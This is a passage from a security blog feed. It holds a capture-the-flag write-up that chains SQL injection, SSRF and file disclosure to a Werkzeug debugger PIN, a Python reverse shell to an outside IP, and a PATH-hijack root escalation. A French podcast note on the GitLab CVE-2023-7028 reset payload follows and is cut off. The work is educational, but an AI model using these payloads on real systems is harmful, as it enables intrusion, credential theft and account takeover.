class="line"><span>|     Server: Werkzeug/3.0.0 Python/3.8.10</span></span><span class="line"><span>|     Date: Sun, 28 Jan 2024 16:58:12 GMT</span></span><span class="line"><span>|     Content-Type: text/html; charset=utf-8</span></span><span class="line"><span>|     Content-Length: 1752</span></span><span class="line"><span>|     Connection: close</span></span><span class="line"><span>|     &#x3C;!DOCTYPE html></span></span><span class="line"><span>|     &#x3C;html lang="en"></span></span><span class="line"><span>|     &#x3C;head></span></span><span class="line"><span>|     &#x3C;meta charset="UTF-8"></span></span><span class="line"><span>|     &#x3C;meta name="viewport" content="width=device-width, initial-scale=1.0"></span></span><span class="line"><span>|     &#x3C;title>The BFG&#x3C;/title></span></span><span class="line"><span>|     &#x3C;style></span></span><span class="line"><span>|     Reset margins and paddings for the body and html elements */</span></span><span class="line"><span>|     html, body {</span></span><span class="line"><span>|     margin: 0;</span></span><span class="line"><span>|     padding: 0;</span></span><span class="line"><span>|     body {</span></span><span class="line"><span>|     background-image: url('static/imgs/snow.gif');</span></span><span class="line"><span>|     background-size: cover; /* Adjust the background size */</span></span><span class="line"><span>|     background-position: center top; /* Center the background image vertically and horizontally */</span></span><span class="line"><span>|     display: flex;</span></span><span class="line"><span>|     flex-direction: column;</span></span><span class="line"><span>|     justify-content: center;</span></span><span class="line"><span>|_    align-items: center;</span></span><span class="line"><span>|_http-server-header: Werkzeug/3.0.0 Python/3.8.10</span></span><span class="line"><span>1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :</span></span><span class="line"><span>...</span></span><span class="line"><span># Nmap done at Sun Jan 28 17:59:45 2024 -- 1 IP address (1 host up) scanned in 147.35 seconds</span></span></code></pre></div></div></figure><h3 id="Web-discovery">Web discovery<a class="header-anchor" href="#Web-discovery">#</a></h3><p>There is a web application available at <a href="http://10.10.69.64:8000/">http://10.10.69.64:8000/</a> that offers to download images.</p><p>The download links are like <code>/download?id=1</code>.</p><p>If asking for an invalid ID (e.g. <code>/download?id=0</code>), we get an error, reaveling information about the technology stack and the configuration:</p><ul><li>Language: Python</li><li>Web framework: Flask</li><li>WSGI: Werkzeug</li><li>Python version: 3.8</li><li>Example of absolute path: <code>/home/mcskidy/.local/lib/python3.8/site-packages/flask/app.py</code></li><li>Username: <code>mcskidy</code></li></ul><h3 id="Web-fuzzing">Web fuzzing<a class="header-anchor" href="#Web-fuzzing">#</a></h3><p>We can try to enumerate all valid image ID to see if some that are not included on the page exist.</p><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>➜ ruby -e 'puts (1..20).to_a' | ffuf -u http://10.10.69.64:8000/download\?id\=FUZZ -w -</span></span><span class="line"><span>...</span></span><span class="line"><span>________________________________________________</span></span><span class="line"><span></span></span><span class="line"><span> :: Method           : GET</span></span><span class="line"><span> :: URL              : http://10.10.69.64:8000/download?id=FUZZ</span></span><span class="line"><span> :: Wordlist         : FUZZ: -</span></span><span class="line"><span> :: Follow redirects : false</span></span><span class="line"><span> :: Calibration      : false</span></span><span class="line"><span> :: Timeout          : 10</span></span><span class="line"><span> :: Threads          : 40</span></span><span class="line"><span> :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500</span></span><span class="line"><span>________________________________________________</span></span><span class="line"><span></span></span><span class="line"><span>5                       [Status: 500, Size: 11970, Words: 1820, Lines: 197, Duration: 73ms]</span></span><span class="line"><span>8                       [Status: 500, Size: 11970, Words: 1820, Lines: 197, Duration: 145ms]</span></span><span class="line"><span>9                       [Status: 500, Size: 11970, Words: 1820, Lines: 197, Duration: 151ms]</span></span><span class="line"><span>14                      [Status: 500, Size: 11970, Words: 1820, Lines: 197, Duration: 166ms]</span></span><span class="line"><span>6                       [Status: 500, Size: 11970, Words: 1820, Lines: 197, Duration: 167ms]</span></span><span class="line"><span>13                      [Status: 500, Size: 11970, Words: 1820, Lines: 197, Duration: 172ms]</span></span><span class="line"><span>12                      [Status: 500, Size: 11970, Words: 1820, Lines: 197, Duration: 246ms]</span></span><span class="line"><span>20                      [Status: 500, Size: 11970, Words: 1820, Lines: 197, Duration: 198ms]</span></span><span class="line"><span>7                       [Status: 500, Size: 11970, Words: 1820, Lines: 197, Duration: 187ms]</span></span><span class="line"><span>10                      [Status: 500, Size: 11970, Words: 1820, Lines: 197, Duration: 159ms]</span></span><span class="line"><span>17                      [Status: 500, Size: 11970, Words: 1820, Lines: 197, Duration: 187ms]</span></span><span class="line"><span>15                      [Status: 500, Size: 11970, Words: 1820, Lines: 197, Duration: 138ms]</span></span><span class="line"><span>11                      [Status: 500, Size: 11970, Words: 1820, Lines: 197, Duration: 151ms]</span></span><span class="line"><span>19                      [Status: 500, Size: 11970, Words: 1820, Lines: 197, Duration: 233ms]</span></span><span class="line"><span>16                      [Status: 500, Size: 11970, Words: 1820, Lines: 197, Duration: 198ms]</span></span><span class="line"><span>1                       [Status: 200, Size: 33017, Words: 2560, Lines: 223, Duration: 246ms]</span></span><span class="line"><span>2                       [Status: 200, Size: 71551, Words: 3093, Lines: 301, Duration: 126ms]</span></span><span class="line"><span>3                       [Status: 200, Size: 69873, Words: 8965, Lines: 596, Duration: 166ms]</span></span><span class="line"><span>18                      [Status: 500, Size: 11970, Words: 1820, Lines: 197, Duration: 523ms]</span></span><span class="line"><span>4                       [Status: 200, Size: 2305908, Words: 9820, Lines: 8254, Duration: 301ms]</span></span><span class="line"><span>:: Progress: [20/20] :: Job [1/1] :: 7 req/sec :: Duration: [0:00:03] :: Errors: 0 ::</span></span></code></pre></div></div></figure><p>So outside ID 1-3 there is an ID 4.</p><figure class="shiki bash"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#61AFEF">wget</span><span style="color:#98C379"> http://10.10.69.64:8000/download</span><span style="color:#56B6C2">\?</span><span style="color:#98C379">id=</span><span style="color:#D19A66">4</span></span></code></pre></div></div></figure><p>This is an image with wanted artic bandits (useless).</p><p>There are at least 3 ways to find the werkzeug debugger console (<a href="http://10.10.69.64:8000/console">http://10.10.69.64:8000/console</a>):</p><ul><li>Launch <code>nuclei</code> (<code>nuclei -u http://10.10.69.64:8000</code>) and the module <code>werkzeug-debugger-detect</code> will find it</li><li>Fuzz with <code>ffuf</code> (<code>ffuf -u http://10.10.69.64:8000/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt</code>)</li><li>From the previous error message we know there is werkzeug so try for some common misconfiguration</li></ul><h3 id="Web-exploitation-SQLi-and-SSRF">Web exploitation - SQLi and SSRF<a class="header-anchor" href="#Web-exploitation-SQLi-and-SSRF">#</a></h3><p>Unfortunattely, the console is protected by a PIN code.</p><p>Metasploit <code>exploit/multi/http/werkzeug_debug_rce</code> is not working so here werkzeug must be &gt; 0.10.</p><p>In that case, we can read on <a href="https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/werkzeug#pin-protected-path-traversal">Hacktricks</a> that a if we have a LFD (local file disclosure) we could have the information required to craft the PIN code.</p><p>We need to find a LFD first.</p><p>On the download page, if we inject a single quote (<code>/download?id='</code>) we get a SQL error (MySQL), so there is a potential for SQL injection.</p><p>With the following payload we have a SSRF <code>' UNION SELECT &quot;http://10.18.17.12:7000&quot;-- -</code>.</p><figure class="shiki bash"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#61AFEF">ruby</span><span style="color:#D19A66"> -run</span><span style="color:#D19A66"> -ehttpd</span><span style="color:#98C379"> ~/Public</span><span style="color:#D19A66"> -p7000</span></span><span class="line"><span style="color:#61AFEF">curl</span><span style="color:#98C379"> 'http://10.10.69.64:8000/download?id=%27%20UNION%20SELECT%20"http://10.18.17.12:7000"--%20-'</span><span style="color:#D19A66"> --output</span><span style="color:#98C379"> -</span></span></code></pre></div></div></figure><p>We can use the SSRF for LDF too (<code>%27%20UNION%20SELECT%20&quot;file:///etc/os-release&quot;--%20-</code>).</p><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>➜ curl 'http://10.10.69.64:8000/download?id=%27%20UNION%20SELECT%20"file:///etc/os-release"--%20-' --output -</span></span><span class="line"><span>NAME="Ubuntu"</span></span><span class="line"><span>VERSION="20.04.6 LTS (Focal Fossa)"</span></span><span class="line"><span>ID=ubuntu</span></span><span class="line"><span>ID_LIKE=debian</span></span><span class="line"><span>PRETTY_NAME="Ubuntu 20.04.6 LTS"</span></span><span class="line"><span>VERSION_ID="20.04"</span></span><span class="line"><span>HOME_URL="https://www.ubuntu.com/"</span></span><span class="line"><span>SUPPORT_URL="https://help.ubuntu.com/"</span></span><span class="line"><span>BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"</span></span><span class="line"><span>PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"</span></span><span class="line"><span>VERSION_CODENAME=focal</span></span><span class="line"><span>UBUNTU_CODENAME=focal</span></span></code></pre></div></div></figure><h3 id="Web-exploitation-LFD-to-leak-werkzeug-PIN-code">Web exploitation - LFD to leak werkzeug PIN code<a class="header-anchor" href="#Web-exploitation-LFD-to-leak-werkzeug-PIN-code">#</a></h3><p>We already know the <code>probably_public_bits</code> from the previous error message. Now let's retrieve teh information for <code>private_bits</code>.</p><p>In <code>/proc/net/arp</code> we can find the network interface name.</p><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>➜ curl 'http://10.10.69.64:8000/download?id=%27%20UNION%20SELECT%20"file:///proc/net/arp"--%20-' --output -</span></span><span class="line"><span>IP address       HW type     Flags       HW address            Mask     Device</span></span><span class="line"><span>10.10.0.1        0x1         0x2         02:c8:85:b5:5a:aa     *        eth0</span></span></code></pre></div></div></figure><p>We can find the AMC address of eth0 in <code>/sys/class/net/eth0/address</code>.</p><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>➜ curl 'http://10.10.69.64:8000/download?id=%27%20UNION%20SELECT%20"file:///sys/class/net/eth0/address"--%20-' --output -</span></span><span class="line"><span>02:a7:a9:9f:ad:f3</span></span></code></pre></div></div></figure><p>Using ruby we can convert if from hexadecimal to decimal.</p><figure class="shiki ruby"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#98C379">'02:a7:a9:9f:ad:f3'</span><span style="color:#ABB2BF">.</span><span style="color:#56B6C2">gsub</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">':'</span><span style="color:#ABB2BF">, </span><span style="color:#98C379">''</span><span style="color:#ABB2BF">)</span></span><span class="line"><span style="color:#7F848E;font-style:italic"># => "02a7a99fadf3"</span></span><span class="line"><span style="color:#D19A66">0x02a7a99fadf3</span></span><span class="line"><span style="color:#7F848E;font-style:italic"># => 2919128608243</span></span></code></pre></div></div></figure><p>Let's get the machine ID.</p><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>➜ curl 'http://10.10.69.64:8000/download?id=%27%20UNION%20SELECT%20"file:///etc/machine-id"--%20-' --output -</span></span><span class="line"><span>aee6189caee449718070b58132f2e4ba</span></span></code></pre></div></div></figure><p>We can confirm the hash function required is SHA-1.</p><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>➜ curl 'http://10.10.69.64:8000/download?id=%27%20UNION%20SELECT%20"file:///home/mcskidy/.local/lib/python3.8/site-packages/werkzeug/debug/__init__.py"--%20-' --output - -s | grep hashlib</span></span><span class="line"><span>import hashlib</span></span><span class="line"><span>    return hashlib.sha1(f"{pin} added salt".encode("utf-8", "replace")).hexdigest()[:12]</span></span><span class="line"><span>    h = hashlib.sha1()</span></span></code></pre></div></div></figure><p>Then we can launch the script to generater the PIN code and use it on the console <a href="http://10.10.69.64:8000/console">http://10.10.69.64:8000/console</a>.</p><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>➜ python werkzeug-pin.py</span></span><span class="line"><span>917-190-257</span></span></code></pre></div></div></figure><p>Note: if not working, restart the machine and do it again. It may requires several attempts.</p><h3 id="Shell-acquisition">Shell acquisition<a class="header-anchor" href="#Shell-acquisition">#</a></h3><p>We can generate a reverse shell <a href="https://www.revshells.com/">revshells.com</a> (<code>Python3 #2</code>).</p><figure class="shiki python"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#C678DD">import</span><span style="color:#ABB2BF"> socket,subprocess,os;s=socket.</span><span style="color:#61AFEF">socket</span><span style="color:#ABB2BF">(socket.</span><span style="color:#D19A66">AF_INET</span><span style="color:#ABB2BF">,socket.</span><span style="color:#D19A66">SOCK_STREAM</span><span style="color:#ABB2BF">);s.</span><span style="color:#61AFEF">connect</span><span style="color:#ABB2BF">((</span><span style="color:#98C379">"10.18.17.12"</span><span style="color:#ABB2BF">,</span><span style="color:#D19A66">7777</span><span style="color:#ABB2BF">));os.</span><span style="color:#61AFEF">dup2</span><span style="color:#ABB2BF">(s.</span><span style="color:#61AFEF">fileno</span><span style="color:#ABB2BF">(),</span><span style="color:#D19A66">0</span><span style="color:#ABB2BF">); os.</span><span style="color:#61AFEF">dup2</span><span style="color:#ABB2BF">(s.</span><span style="color:#61AFEF">fileno</span><span style="color:#ABB2BF">(),</span><span style="color:#D19A66">1</span><span style="color:#ABB2BF">);os.</span><span style="color:#61AFEF">dup2</span><span style="color:#ABB2BF">(s.</span><span style="color:#61AFEF">fileno</span><span style="color:#ABB2BF">(),</span><span style="color:#D19A66">2</span><span style="color:#ABB2BF">);</span><span style="color:#C678DD">import</span><span style="color:#ABB2BF"> pty; pty.</span><span style="color:#61AFEF">spawn</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">"/bin/bash"</span><span style="color:#ABB2BF">)</span></span></code></pre></div></div></figure><p>We can obtain the shell:</p><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>➜ ncat -lvnp 7777</span></span><span class="line"><span>Ncat: Version 7.94 ( https://nmap.org/ncat )</span></span><span class="line"><span>Ncat: Listening on [::]:7777</span></span><span class="line"><span>Ncat: Listening on 0.0.0.0:7777</span></span><span class="line"><span>Ncat: Connection from 10.10.69.64:46292.</span></span><span class="line"><span>mcskidy@proddb:~$ id</span></span><span class="line"><span>uid=1000(mcskidy) gid=1000(mcskidy) groups=1000(mcskidy)</span></span></code></pre></div></div></figure><h3 id="User-flag">User flag<a class="header-anchor" href="#User-flag">#</a></h3><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>mcskidy@proddb:~$ cat user.txt</span></span><span class="line"><span>THM{EDITED}</span></span></code></pre></div></div></figure><p>Note: We could have read it with the SQLi / SSRF / LFD.</p><h3 id="EoP-elevation-of-privilege-part-1">EoP (elevation of privilege) part 1<a class="header-anchor" href="#EoP-elevation-of-privilege-part-1">#</a></h3><p>The source code is versionned.</p><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>mcskidy@proddb:~/app$ ls -lhA</span></span><span class="line"><span>total 16K</span></span><span class="line"><span>-rw-rw-r-- 1 mcskidy mcskidy 1.5K Oct 19 20:03 app.py</span></span><span class="line"><span>drwxrwxr-x 8 mcskidy mcskidy 4.0K Nov  2 15:41 .git</span></span><span class="line"><span>drwxrwxr-x 3 mcskidy mcskidy 4.0K Oct 19 19:58 static</span></span><span class="line"><span>drwxrwxr-x 2 mcskidy mcskidy 4.0K Nov  2 15:29 templates</span></span></code></pre></div></div></figure><p>Let's see the history of the file <code>app.py</code>.</p><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>mcskidy@proddb:~/app$ git --no-pager log -p app.py</span></span><span class="line"><span>…</span></span><span class="line"><span>commit c1a0b22905cc0da0b5ad88c124125efa626013af</span></span><span class="line"><span>Author: mcskidy &#x3C;mcskidy@proddb></span></span><span class="line"><span>Date:   Thu Oct 19 20:02:57 2023 +0000</span></span><span class="line"><span></span></span><span class="line"><span>    Minor update</span></span><span class="line"><span></span></span><span class="line"><span>diff --git a/app.py b/app.py</span></span><span class="line"><span>index 8d05622..5765c7d 100644</span></span><span class="line"><span>--- a/app.py</span></span><span class="line"><span>+++ b/app.py</span></span><span class="line"><span>@@ -10,7 +10,7 @@ app = Flask(__name__, static_url_path='/static')</span></span><span class="line"><span> # MySQL configuration</span></span><span class="line"><span> app.config['MYSQL_HOST'] = 'localhost'</span></span><span class="line"><span> app.config['MYSQL_USER'] = 'mcskidy'</span></span><span class="line"><span>-app.config['MYSQL_PASSWORD'] = 'EDITED'</span></span><span class="line"><span>+app.config['MYSQL_PASSWORD'] = 'fSXT8582GcMLmSt6'</span></span><span class="line"><span> app.config['MYSQL_DB'] = 'elfimages'</span></span><span class="line"><span> mysql = MySQL(app)</span></span><span class="line"><span>…</span></span><span class="line"><span>commit e9855c8a10cb97c287759f498c3314912b7f4713</span></span><span class="line"><span>Author: mcskidy &#x3C;mcskidy@proddb></span></span><span class="line"><span>Date:   Thu Oct 19 20:01:41 2023 +0000</span></span><span class="line"><span></span></span><span class="line"><span>    Changed MySQL user</span></span><span class="line"><span></span></span><span class="line"><span>diff --git a/app.py b/app.py</span></span><span class="line"><span>index 81fd2d2..5f5ff6e 100644</span></span><span class="line"><span>--- a/app.py</span></span><span class="line"><span>+++ b/app.py</span></span><span class="line"><span>@@ -9,8 +9,8 @@ app = Flask(__name__, static_url_path='/static')</span></span><span class="line"><span></span></span><span class="line"><span> # MySQL configuration</span></span><span class="line"><span> app.config['MYSQL_HOST'] = 'localhost'</span></span><span class="line"><span>-app.config['MYSQL_USER'] = 'root'</span></span><span class="line"><span>-app.config['MYSQL_PASSWORD'] = 'w6UV3tjxAuKCUWtP'</span></span><span class="line"><span>+app.config['MYSQL_USER'] = 'mcskidy'</span></span><span class="line"><span>+app.config['MYSQL_PASSWORD'] = 'EDITED'</span></span><span class="line"><span> app.config['MYSQL_DB'] = 'elfimages'</span></span><span class="line"><span> mysql = MySQL(app)</span></span></code></pre></div></div></figure><h3 id="Credential-stuffing">Credential stuffing<a class="header-anchor" href="#Credential-stuffing">#</a></h3><p>Here are all the MySQL credentials we can try for PAM:</p><ul><li><code>mcskidy</code> / <code>fSXT8582GcMLmSt6</code> ❌</li><li><code>mcskidy</code> / <code>EDITED</code> ✅</li><li><code>root</code> / <code>w6UV3tjxAuKCUWtP</code> ❌</li></ul><h3 id="EoP-elevation-of-privilege-part-2">EoP (elevation of privilege) part 2<a class="header-anchor" href="#EoP-elevation-of-privilege-part-2">#</a></h3><p>With the found credentials we can see what commands <code>mcskidy</code> can run with <code>sudo</code>.</p><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>mcskidy@proddb:~$ sudo -l</span></span><span class="line"><span>Matching Defaults entries for mcskidy on proddb:</span></span><span class="line"><span>    env_reset, mail_badpass,</span></span><span class="line"><span>    secure_path=/home/mcskidy\:/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin</span></span><span class="line"><span></span></span><span class="line"><span>User mcskidy may run the following commands on proddb:</span></span><span class="line"><span>    (root) /usr/bin/bash /opt/check.sh</span></span></code></pre></div></div></figure><p>Let's see what <code>/opt/check.sh</code> can offer.</p><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>mcskidy@proddb:~$ cat /opt/check.sh</span></span><span class="line"><span>#!/bin/bash</span></span><span class="line"><span>. /opt/.bashrc</span></span><span class="line"><span>cd /home/mcskidy/</span></span><span class="line"><span></span></span><span class="line"><span>WEBSITE_URL="http://127.0.0.1:8000"</span></span><span class="line"><span></span></span><span class="line"><span>response=$(/usr/bin/curl -s -o /dev/null -w "%{http_code}" $WEBSITE_URL)</span></span><span class="line"><span></span></span><span class="line"><span># Check the HTTP response code</span></span><span class="line"><span>if [ "$response" == "200" ]; then</span></span><span class="line"><span>  /usr/bin/echo "Website is running: $WEBSITE_URL"</span></span><span class="line"><span>else</span></span><span class="line"><span>  /usr/bin/echo "Website is not running: $WEBSITE_URL"</span></span><span class="line"><span>fi</span></span></code></pre></div></div></figure><p><code>/opt/.bashrc</code> is sourced but we can't source it.</p><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>mcskidy@proddb:~$ ls -lh /opt/.bashrc</span></span><span class="line"><span>-rw-r--r-- 1 root root 3.7K Oct 19 06:28 /opt/.bashrc</span></span></code></pre></div></div></figure><p>The sudo configuration show we have <code>/home/mcskidy</code> in the <code>secure_path</code>.</p><p>It's weird to have a <code>.bashrc</code> in <code>/opt</code> and to source it. As the file is long let's compare it with another to see if has been changed.</p><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>mcskidy@proddb:~$ diff /opt/.bashrc /home/mcskidy/.bashrc</span></span><span class="line"><span>4c4</span></span><span class="line"><span>&#x3C; enable -n [ # ]</span></span><span class="line"><span>---</span></span><span class="line"><span>></span></span></code></pre></div></div></figure><p>Shells have bilt-in commands like <code>echo</code>, <code>history</code>, <code>pwd</code>, <code>test</code> and many others. With <code>-n</code> option, <code>enable</code> will disable the built-in command and try to load them from <code>$PATH</code>. With <code>[ # ]</code>, all built-ins are disabled. But what good does it do to us since all binaries are with absolute path?</p><p>The tricky part is that in <code>if [ &quot;$response&quot; == &quot;200&quot; ]; then</code> the braquets are a binary <code>/usr/bin/[</code>. So now that it's loaded from PATH we can create a <code>[</code> binary in <code>/home/mcskidy/</code>. You can learn about it on <a href="https://book.hacktricks.xyz/linux-hardening/bypass-bash-restrictions#builtins">HackTricks - Bypass Linux Restrictions</a>.</p><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>mcskidy@proddb:~$ echo 'bash' > ~/[</span></span><span class="line"><span>mcskidy@proddb:~$ chmod +x ~/[</span></span><span class="line"><span>mcskidy@proddb:~$ sudo -u root /usr/bin/bash /opt/check.sh</span></span><span class="line"><span>[sudo] password for mcskidy:</span></span><span class="line"><span>127.0.0.1 - - [28/Jan/2024 21:40:02] "GET / HTTP/1.1" 200 -</span></span><span class="line"><span>root@proddb:/home/mcskidy# id</span></span><span class="line"><span>uid=0(root) gid=0(root) groups=0(root)</span></span></code></pre></div></div></figure><h3 id="Root-flag">Root flag<a class="header-anchor" href="#Root-flag">#</a></h3><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>root@proddb:~# cat /root/root.txt</span></span><span class="line"><span>THM{EDITED}</span></span></code></pre></div></div></figure><h3 id="Yeti-flag">Yeti flag<a class="header-anchor" href="#Yeti-flag">#</a></h3><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>root@proddb:~# cat /root/yetikey4.txt</span></span><span class="line"><span>4-EDITED</span></span></code></pre></div></div></figure><link rel="stylesheet" href="/css/folder.css" type="text/css"><script src="/js/folder.js" type="text/javascript" async></script>]]>
      </content:encoded>
    </item>
    <item>
      <title>Service Hacktion - Notes attachées au balado S01E04 - Analyse de la vulnérabilité Gitlab CVE-2023-7028</title>
      <link>https://blog.raw.pm/fr/Service-Hacktion-S01E04-gitlab-CVE-2023-7028/</link>
      <description>
        <![CDATA[<table>
<thead>
<tr>
<th>Saison</th>
<th>Épisode</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>4</td>
</tr>
</tbody>
</table>
<iframe titl]]>
      </description>
      <author>Alexandre ZANNI</author>
      <category domain="https://blog.raw.pm/categories/security/">security</category>
      <category domain="https://blog.raw.pm/tags/web/">web</category>
      <category domain="https://blog.raw.pm/tags/gitlab/">gitlab</category>
      <category domain="https://blog.raw.pm/tags/podcast/">podcast</category>
      <category domain="https://blog.raw.pm/tags/balado/">balado</category>
      <category domain="https://blog.raw.pm/tags/cve/">cve</category>
      <pubDate>Fri, 26 Jan 2024 01:37:00 GMT</pubDate>
      <content:encoded>
        <![CDATA[<table><thead><tr><th>Saison</th><th>Épisode</th></tr></thead><tbody><tr><td>1</td><td>4</td></tr></tbody></table><iframe title="Spotify Embed: Service Hacktion" style="border-radius: 12px" width="624" height="351" frameborder="0" allowfullscreen="" allow="autoplay; clipboard-write; encrypted-media; fullscreen; picture-in-picture" loading="lazy" src="https://open.spotify.com/embed/show/2cvqgxJWv3mrwIWvR39Kyk/video?utm_source=oembed"></iframe><ul><li><a href="https://open.spotify.com/episode/64hbrBts5Q3W9JdssPmtCT">Spotify</a></li><li><a href="https://www.deezer.com/fr/episode/597401502">Deezer</a></li><li><a href="https://youtu.be/kPrOSr9SYF8">Youtube</a></li><li><a href="https://music.youtube.com/watch?v=kPrOSr9SYF8">Youtube Music</a></li><li><a href="https://music.amazon.fr/podcasts/985ea8b9-30bf-4145-a08a-1ecdc021f695/episodes/1cf204ed-ced3-424d-b529-a7602dd2075e/service-hacktion-s01e04---analyse-de-la-vuln%C3%A9rabilit%C3%A9-gitlab-cve-2023-7028">Amazon Music</a></li><li><a href="https://podcasts.google.com/feed/aHR0cHM6Ly9hbmNob3IuZm0vcy9lZjcwNWIzMC9wb2RjYXN0L3Jzcw/episode/ODJkNmE0YzYtN2RkZS00Yjc0LWFmZTktYTI3NWQ1ZDdhOTU1">Google Podcast</a></li><li><a href="https://podcasts.apple.com/us/podcast/s01e04-analyse-de-la-vuln%C3%A9rabilit%C3%A9-gitlab-cve-2023-7028/id1725734663?i=1000643006743">Apple Podcast</a></li><li><a href="https://podcastindex.org/podcast/6727486?episode=18580024207">Podcast Index</a></li><li><a href="https://podcloud.fr/podcast/service-hacktion/episode/s01e04-analyse-de-la-vulnerabilite-gitlab-cve-2023-7028">podCloud</a></li><li><a href="https://www.podchaser.com/podcasts/service-hacktion-5564666/episodes/s01e04-analyse-de-la-vulnerabi-198928708">Podchaser</a></li><li><a href="https://podtail.com/podcast/service-hacktion/s01e04-analyse-de-la-vulnerabilite-gitlab-cve-2023/">podtail</a></li><li><a href="https://podcasts-francais.fr/podcast/service-hacktion/s01e04-analyse-de-la-vulnerabilite-gitlab-cve-2023">Podcasts Français</a></li><li><a href="https://www.vodio.fr/vodiotheque/i/rss-959-82d6a4c6-7dde-4b74-afe9-a275d5d7a955/s01e04-analyse-de-la-vulnerabilite-gitlab-cve-2023-7028/">Vodio</a></li><li><a href="https://www.spreaker.com/episode/s01e04-analyse-de-la-vulnerabilite-gitlab-cve-2023-7028--58700366">Spreaker</a></li></ul><h2 id="Notes">Notes<a class="header-anchor" href="#Notes">#</a></h2><p><strong>Gitlab</strong> en bref :</p><ul><li>forge logicielle (gestion du code source, intégration et déploiement continue, collaboration, etc.)</li><li>beaucoup déployé en interne dans les entreprises</li></ul><p><strong>La vulnérabilité</strong> en bref :</p><ul><li>Risque : Critique (CVSS v3 7.5 selon le NIST, 10.0 selon le CNA (Gitlab))</li><li>Cible : large spectre de versions de l'édition communautaire (CE) et entreprise (EE)</li><li>Impact : Permet de prendre le contrôle arbitrairement de comptes utilisateurs (sans authentification et sans interaction)</li><li>Fonctionnement : L'attaquant fournit 2 adresses dans la requête de réinitialisation (la sienne et celle de la victime), il reçoit le lien de réinitialisation de la victime</li><li>Cause : les courriels de réinitialisation du mot de passe d'un compte d'utilisateur peuvent être envoyés à une adresse non vérifiée</li><li>Identifiée par <a href="https://hackerone.com/asterion04?type=user">asterion04</a> lors d'un programme de prime aux bogues</li><li>Versions affectées :<ul><li>16.1.0 à 16.1.5</li><li>16.2.0 à 16.2.8</li><li>16.3.0 à 16.3.6</li><li>16.4.0 à 16.4.4</li><li>16.5.0 à 16.5.5</li><li>16.6.0 à 16.6.3</li><li>16.7.0 à 16.7.1</li></ul></li><li>Correction :<ul><li>MAJ vers version non vulnérable</li><li>Activer l'authentification à deux facteurs</li><li>Par mesure de sécurité, réinitialiser tous les secrets (comptes, jetons d'API, certificats, etc.)</li></ul></li></ul><p><strong>Détails</strong> :</p><ul><li>HTTP POST sur <code>/users/password</code></li><li>Charge utile (exemple) : <code>authenticity_token=&lt;auto_generated_token&gt;&amp;user%5Bemail%5D%5B%5D=victim%40example.org&amp;user%5Bemail%5D%5B%5D=attacker%40example.org</code></li><li><code>authenticity_token</code> = jeton anti-CSRF (obtenable sur <code>/users/password/new</code>)</li><li><code>user[email]</code> x1 ➡️ <code>user[email][]</code> x2 (passage en tableau)</li><li><code>user[email][]=victim@example.org&amp;user[email][]=attacker@example.org</code> doit être URL encodé sinon l'attaque ne fonctionne pas</li><li>besoin de connaitre l'adresse de courriel (pas le nom de compte)</li><li>impact variable selon que des projets sont exposés publiquement ou non</li></ul><p><strong>Plus-value pour l'attaquant</strong> :</p><ul><li>Très répendu</li><li>Facile à exploiter</li><li>Peut donner des accès privilégiés</li><li>Attaque non authentifiée</li><li>Vulnérable par défaut (sans changement de configuration)</li><li>Donne accès à des données sensibles et permet de rebondir</li></ul><p><strong>Recherche de compromission</strong> :</p><ul><li>Vérifiez la présence de requêtes HTTP vers le chemin <code>/users/password</code> avec <code>params.value.email</code> dans le journal d'évènements <code>gitlab-rails/production_json.log</code> comprenant un tableau JSON avec plusieurs adresses de courriel.</li><li>Vérifier la présence d'entrées avec <code>meta.caller_id</code> de <code>PasswordsController#create</code> et <code>target_details</code> dans le journal d'évènements <code>gitlab-rails/audit_json.log</code> comprenant un tableau JSON avec plusieurs adresses de courriel.</li></ul><p><strong>L'introduction</strong> dans le code source :</p><ul><li>En 16.1.0, le 1er mai 2023</li><li>Un changement qui permettait aux utilisateurs de réinitialiser leur mot de passe via une adresse de courriel 